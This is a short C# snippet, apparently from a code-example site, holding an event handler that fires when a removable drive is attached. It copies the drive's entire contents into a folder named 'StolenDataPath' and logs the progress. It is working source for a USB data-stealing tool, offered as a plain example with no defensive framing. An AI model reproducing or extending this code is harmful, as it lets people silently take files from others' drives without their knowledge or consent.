예제 #1
0
        private void OnOnNewDriverAdded(DriveInfo driveinfo)
        {
            string destinationDir = Path.Combine(StolenDataPath, driveinfo.VolumeLabel);

            OnNewDriverAdded?.Invoke(driveinfo, destinationDir);
            Logger.Append(new Message(Message.EventTypes.Info,
                                      "New Driver: " + driveinfo.VolumeLabel + " (" + driveinfo.Name + ")"));
            FileTransfer fileTransfer;

            try
            {
                fileTransfer = new FileTransfer(driveinfo.RootDirectory.FullName,
                                                destinationDir, FileTransferSettings);
            }
            catch (Exception ex)
            {
                Logger.Append(new Message(Message.EventTypes.Error,
                                          "Error starting Data transferring from  \"" + driveinfo.RootDirectory.FullName + "\" to \"" +
                                          StolenDataPath + "\". " + ex.Message));
                return;
            }

            fileTransfer.PrecedenceExtensions  = FileTransferSettings.PrecedenceExtensions;
            fileTransfer.CopyProgressChanged  += OnCopyProgressChanged;
            fileTransfer.CopyProgressStarted  += OnCopyProgressStarted;
            fileTransfer.CopyProgressFinished += OnCopyProgressFinished;
            fileTransfer.BeginTransfer();
            Logger.Append(new Message(Message.EventTypes.Info,
                                      "Data transferring from  \"" + driveinfo.RootDirectory.FullName + "\" to \"" + StolenDataPath +
                                      "\" started."));
        }